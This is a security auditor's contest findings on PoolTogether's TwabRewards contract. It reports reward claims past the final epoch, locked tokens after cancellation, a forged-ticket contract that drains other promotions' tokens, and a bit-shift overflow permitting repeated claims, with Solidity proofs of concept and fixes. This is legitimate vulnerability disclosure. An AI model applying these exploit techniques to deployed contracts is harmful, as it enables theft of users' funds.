PoolTogether TwabRewards contest - gpersoon's results

Handle

gpersoon

Vulnerability details

Impact

When claiming rewards via claimRewards(), the function _calculateRewardAmount() is called. The function _calculateRewardAmount() has a check to make sure the epoch is over

  require(block.timestamp > _epochEndTimestamp, "TwabRewards/epoch-not-over"); 

However neither functions check if the _epochId is within the range of the reward epochs. Ergo it is possible to continue claiming rewards after the reward period is over. This only works as long as there are enough tokens in the contract. But this is the case when not everyone has claimed, or other rewards use the same token.

The proof of concept contains a simplified version of the contract, and shows how this can be done. When run in remix you get the following output, while there is only 1 epoch. console.log:  Claiming for epoch 1 1  Claiming for epoch 2 1  Claiming for epoch 3 1  Claiming for epoch 4 1  Claiming for epoch 5 1

Proof of Concept

 // SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.6;
import "hardhat/console.sol";  

contract TwabRewards {

    struct Promotion {
        uint216 tokensPerEpoch;
        uint32 startTimestamp;
        uint32 epochDuration;
        uint8 numberOfEpochs;
    }
    mapping(uint256 => Promotion) internal _promotions;
    uint256 internal _latestPromotionId;
    mapping(uint256 => mapping(address => uint256)) internal _claimedEpochs;
    
    constructor() {
        uint id=createPromotion(1,uint32(block.timestamp)-10,1,1);
        claimRewards(id,1);
        claimRewards(id,2);
        claimRewards(id,3);
        claimRewards(id,4);
        claimRewards(id,5);
    }
     
    function createPromotion(uint216 _tokensPerEpoch,uint32 _startTimestamp,uint32 _epochDuration,uint8 _numberOfEpochs) public  returns (uint256) {
        uint256 _nextPromotionId = _latestPromotionId + 1;
        _latestPromotionId = _nextPromotionId;
        _promotions[_nextPromotionId] = Promotion(_tokensPerEpoch,_startTimestamp,_epochDuration,_numberOfEpochs);
        return _nextPromotionId;
    }
 
    function claimRewards(
        uint256 _promotionId,
        uint256 _epochId
    ) public  returns (uint256) {
        Promotion memory _promotion = _getPromotion(_promotionId);
        address _user=address(0);
        uint256 _rewardsAmount;
        uint256 _userClaimedEpochs = _claimedEpochs[_promotionId][_user];

        for (uint256 index = 0; index < 1; index++) {
            require(
                !_isClaimedEpoch(_userClaimedEpochs, _epochId),
                "TwabRewards/rewards-already-claimed"
            );
            _rewardsAmount += _calculateRewardAmount(_promotion, _epochId);
            _userClaimedEpochs = _updateClaimedEpoch(_userClaimedEpochs, _epochId);
        }
        _claimedEpochs[_promotionId][_user] = _userClaimedEpochs;
        console.log("Claiming for epoch",_epochId,_rewardsAmount);
        return _rewardsAmount;
    }

    function getPromotion(uint256 _promotionId) public view  returns (Promotion memory) {
        return _getPromotion(_promotionId);
    }
  function _getPromotion(uint256 _promotionId) internal view returns (Promotion memory) {
        return _promotions[_promotionId];
    }
    
    function _isClaimedEpoch(uint256 _userClaimedEpochs, uint256 _epochId) internal pure returns (bool)
    {
        return (_userClaimedEpochs >> _epochId) & uint256(1) == 1;
    }

 function _calculateRewardAmount(        
        Promotion memory _promotion,
        uint256 _epochId
    ) internal view returns (uint256) {
        uint256 _epochDuration = _promotion.epochDuration;
        uint256 _epochStartTimestamp = _promotion.startTimestamp + (_epochDuration * _epochId);
        uint256 _epochEndTimestamp = _epochStartTimestamp + _epochDuration;
        require(block.timestamp > _epochEndTimestamp, "TwabRewards/epoch-not-over");
        return 1;
    }

 function _updateClaimedEpoch(uint256 _userClaimedEpochs, uint256 _epochId) internal pure returns (uint256) {
        return _userClaimedEpochs | (uint256(1) << _epochId);
    }
  
    function _getCurrentEpochId(Promotion memory _promotion) internal view returns (uint256) {        
        return (block.timestamp - _promotion.startTimestamp) / _promotion.epochDuration;
    }
 
    function _getRemainingRewards(Promotion memory _promotion) internal view returns (uint256) {
        // _tokensPerEpoch * _numberOfEpochsLeft
        return
            _promotion.tokensPerEpoch *
            (_promotion.numberOfEpochs - _getCurrentEpochId(_promotion));
    }
 
}

Tools Used

Recommended Mitigation Steps

In the function _calculateRewardAmount() add something like the following in the beginning after the require. if ( _epochId >= _promotion.numberOfEpochs) return 0;

Handle

gpersoon

Vulnerability details

Impact

When you cancel a promotion with cancelPromotion() then the promotion is complete deleted. This means no-one can claim any rewards anymore, because _promotions[_promotionId] no longer exists.

It also means all the unclaimed tokens (of the previous epochs) will stay locked in the contract.

Proof of Concept

https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L119-L138

function cancelPromotion(uint256 _promotionId, address _to) ... {
       ...
        uint256 _remainingRewards = _getRemainingRewards(_promotion);
        delete _promotions[_promotionId];
       

Tools Used

Recommended Mitigation Steps

In the function cancelPromotion() lower the numberOfEpochs or set a state variable, to allow user to claim their rewards.

Handle

gpersoon

Vulnerability details

Impact

The TwabRewards contract can be fooled by creating an AttackTicket contract and use that to set up a promotion. The call to _requireTicket() will succeed because AttackTicket has a function controller() The function _calculateRewardAmount() can give back an arbitrary amount by configuring the functions getAverageTotalSuppliesBetween() and getAverageBalanceBetween() and that amount of tokens will be send to the caller.

When you define a promotion you have to supply the tokens, but if you select the same token another promotion is also using and you supply only a small amount yourself, then you can claim rewards which uses up the tokens from another promotion (as there is nothing to prevent that)

Proof of Concept

Create a AttackTicket contract, with the following functions:

function controller() { return 1;}                         // this will make sure _requireTicket() succeeds
getAverageTotalSuppliesBetween() {return [1]; } // define the output for _calculateRewardAmount()
getAverageBalanceBetween() {return 1;}       // define the output for _calculateRewardAmount() ==> will return _promotion.tokensPerEpoch

https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L230-L244

function _requireTicket(address _ticket) internal view {
        require(_ticket != address(0), "TwabRewards/ticket-not-zero-address");
        (bool succeeded, bytes memory data) = address(_ticket).staticcall(abi.encodePacked(ITicket(_ticket).controller.selector) );  // just returns 1
        address controllerAddress;
        if (data.length > 0) {
            controllerAddress = abi.decode(data, (address));
        }
        require(succeeded && controllerAddress != address(0), "TwabRewards/invalid-ticket");  // no problem
    }

https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L289-L324

function _calculateRewardAmount(       address _user,      Promotion memory _promotion,      uint256 _epochId  ) internal view returns (uint256) {
    ..
        ITicket _ticket = ITicket(_promotion.ticket); // is the AttackTicket  contract

        uint256 _averageBalance = _ticket.getAverageBalanceBetween(..)   // returns whatever you want
      ...
        uint256[] memory _averageTotalSupplies = _ticket.getAverageTotalSuppliesBetween( ..)  // returns whatever you want
      .. 
       // returns whatever you want
    }

https://github.com/pooltogether/v4-periphery/blob/b520faea26bcf60371012f6cb246aa149abd3c7d/contracts/TwabRewards.sol#L162-L191

function claimRewards(...) {
    ...   
            _rewardsAmount += _calculateRewardAmount(_user, _promotion, _epochId);   // can be any value you want
    ...
        _promotion.token.safeTransfer(_user, _rewardsAmount);   // thus can send any amount of tokens you want.

Tools Used

Recommended Mitigation Steps

When claim rewards for a promotion, keep track of the tokens that are allocated to that promotion. Lower that amount with every claim. This will make sure you cannot claim more than is supplied for the promotion

You could also (additionally) check the tickets with some registry or whitelist to make sure only valid tickets are used.

Handle

gpersoon

Vulnerability details

Impact

The function _updateClaimedEpoch() uses a left shift of 1. This only works while _epochId <=255. Once _epochId is 256 or larger then "uint256(1) << _epochId" will overflow and result in a value of 0. Note: this overflow is not detected by solidity 0.8.x

function _updateClaimedEpoch(uint256 _userClaimedEpochs, uint256 _epochId)  internal pure returns (uint256) {
        return _userClaimedEpochs | (uint256(1) << _epochId);
    }

This can be verified with the following code:

pragma solidity 0.8.10;
contract Test {
    uint public Value= (uint256(1) << 256);   
}

This means that for epochs beyond 255, with "_userClaimedEpochs = _updateClaimedEpoch(_userClaimedEpochs, _epochId);" ==> _userClaimedEpochs is no longer updated. Which means you can repeatedly claim rewards for the same epoch beyond 255. Note: numberOfEpochs in struct Promotion is limited to an uint8, thus has a maximum of 255, but in claimRewards() the _epochIds are uint256, which means they can be 256 or larger. Note: in practice this will only work with relative short Epochs, because you have to wait for Epoch 256 to be able to claim (enforced in _calculateRewardAmount() ) Note: this is also only possible because it is possible to claim even when _epochId >= _promotion.numberOfEpochs, see issue "Continue claiming reqrds after numberOfEpochs are over"

The proof of concept contains a simplified version of the contract, and shows how this can be done. When run in remix you get the following output, showing you can repeatedly claim for epoch 256 console.log: Claiming for epoch 1 1 Claiming for epoch 255 1 Claiming for epoch 256 1 Claiming for epoch 256 1 Claiming for epoch 256 1

Proof of Concept

// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.6;
import "hardhat/console.sol";  

contract TwabRewards {

    struct Promotion {
        uint216 tokensPerEpoch;
        uint32 startTimestamp;
        uint32 epochDuration;
        uint8 numberOfEpochs;
    }
    mapping(uint256 => Promotion) internal _promotions;
    uint256 internal _latestPromotionId;
    mapping(uint256 => mapping(address => uint256)) internal _claimedEpochs;
    
    constructor() {
        uint id=createPromotion(1,uint32(block.timestamp)-255-3,1,255);
        claimRewards(id,1);
        claimRewards(id,255);
        claimRewards(id,256);
        claimRewards(id,256);
        claimRewards(id,256);
    }
     
    function createPromotion(uint216 _tokensPerEpoch,uint32 _startTimestamp,uint32 _epochDuration,uint8 _numberOfEpochs) public  returns (uint256) {
        uint256 _nextPromotionId = _latestPromotionId + 1;
        _latestPromotionId = _nextPromotionId;
        _promotions[_nextPromotionId] = Promotion(_tokensPerEpoch,_startTimestamp,_epochDuration,_numberOfEpochs);
        return _nextPromotionId;
    }
 
    function claimRewards(
        uint256 _promotionId,
        uint256 _epochId
    ) public  returns (uint256) {
        Promotion memory _promotion = _getPromotion(_promotionId);
        address _user=address(0);
        uint256 _rewardsAmount;
        uint256 _userClaimedEpochs = _claimedEpochs[_promotionId][_user];

        for (uint256 index = 0; index < 1; index++) {
            require(
                !_isClaimedEpoch(_userClaimedEpochs, _epochId),
                "TwabRewards/rewards-already-claimed"
            );
            _rewardsAmount += _calculateRewardAmount(_promotion, _epochId);
            _userClaimedEpochs = _updateClaimedEpoch(_userClaimedEpochs, _epochId);
        }
        _claimedEpochs[_promotionId][_user] = _userClaimedEpochs;
        console.log("Claiming for epoch",_epochId,_rewardsAmount);
        return _rewardsAmount;
    }

    function getPromotion(uint256 _promotionId) public view  returns (Promotion memory) {
        return _getPromotion(_promotionId);
    }
  function _getPromotion(uint256 _promotionId) internal view returns (Promotion memory) {
        return _promotions[_promotionId];
    }
    
    function _isClaimedEpoch(uint256 _userClaimedEpochs, uint256 _epochId) internal pure returns (bool)
    {
        return (_userClaimedEpochs >> _epochId) & uint256(1) == 1;
    }

 function _calculateRewardAmount(        
        Promotion memory _promotion,
        uint256 _epochId
    ) internal view returns (uint256) {
        uint256 _epochDuration = _promotion.epochDuration;
        uint256 _epochStartTimestamp = _promotion.startTimestamp + (_epochDuration * _epochId);
        uint256 _epochEndTimestamp = _epochStartTimestamp + _epochDuration;
        require(block.timestamp > _epochEndTimestamp, "TwabRewards/epoch-not-over");
        return 1;
    }

 function _updateClaimedEpoch(uint256 _userClaimedEpochs, uint256 _epochId) internal pure returns (uint256) {
        return _userClaimedEpochs | (uint256(1) << _epochId);
    }
  
    function _getCurrentEpochId(Promotion memory _promotion) internal view returns (uint256) {        
        return (block.timestamp - _promotion.startTimestamp) / _promotion.epochDuration;
    }
 
    function _getRemainingRewards(Promotion memory _promotion) internal view returns (uint256) {
        // _tokensPerEpoch * _numberOfEpochsLeft
        return
            _promotion.tokensPerEpoch *
            (_promotion.numberOfEpochs - _getCurrentEpochId(_promotion));
    }
 
}

Tools Used

Recommended Mitigation Steps

In _isClaimedEpoch() and _updateClaimedEpoch() add something like the following: require (_epochId <= 255);

You could also check that the epochid < 255 in claimRewards() and getRewardsAmount()